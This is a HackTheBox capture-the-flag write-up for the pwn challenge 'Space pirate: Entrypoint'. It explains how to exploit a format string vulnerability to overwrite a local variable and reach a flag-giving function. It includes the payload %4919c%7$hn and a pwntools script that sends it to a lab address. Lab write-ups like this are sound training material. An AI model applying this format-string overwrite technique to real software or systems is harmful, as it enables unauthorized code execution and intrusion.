Space pirate: Entrypoint
Space pirate: Entrypoint
Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10
Description
D12 is one of Golden Fang's missile launcher spaceships. Our mission as space pirates is to highjack D12, get inside the control panel room, and access the missile launcher system. To achieve our goal, we split the mission into three parts. In this part, all we need to do is bypass the scanning system and open the gates so that we proceed further.
Solution Approach
Core idea: Stack-Based Exploitation. Exploiting FSB.
Steps
-
First, unzip the
.zipfile given, then jump to the extracted directory. -
Check the file type.
-
Check the binary's protection.
-
All protection's enabled.
-
Hmmm.. let us run the file in gdb.
-
Let us decompile the binary using ghidra.
-
It looks like we can utilize format string vulnerability here.
-
If the
local_48value is eq to 0xdead1337, then the program will execute theopen_door()function.
OPEN_DOOR -> a function that will give us the flag
-
However, the
local_48value is 0xdeadbeef not 0xdead1337. -
Remember that the
local_40saves the address oflocal_48. -
Hence, we can utilize format string vuln to overwrite the first 2 bytes of
local_48value. -
Now run, the binary, choose option 1, then input 8 %p.
-
Based on the output, we know that 0xdeadbeef is at offset 6 and 0xdead1337 is at offset 7.
-
Get the decimals value of 0x1337 ->
4919. -
Means the input shall look like this ->
%4919c%7$hn. -
To make it clear:
"%" indicates the start of a format specifier in a format string.
"4919" decimal value of 0x1337.
"c" is a conversion specifier that indicates the value to be printed as a character.
"%7$" is a positional specifier that specifies the argument index to be printed. In this case, it refers to the seventh argument.
"hn" is a length modifier that specifies that the argument should be interpreted as a short integer and printed as a halfword (2 bytes) in a specific format.
- To get the flag, actually u don't need to make the script, but i just want to make it 😁
THE SCRIPT
from pwn import *
import os
os.system('clear')
context.log_level = 'debug'
sh = remote('142.93.37.215', 30803)
sh.recvuntil("> ")
sh.sendline(b'1')
sh.recvuntil(": ")
A = b'%4919c%7$hn'
sh.sendline(A)
sh.interactive()
OUTPUT
- Got the flag!
Flag
REDACTED
Lessons Learned
- Stack-Based Exploitation.
- Exploiting FSB.
- Utilizing FSB to overwrite local variable.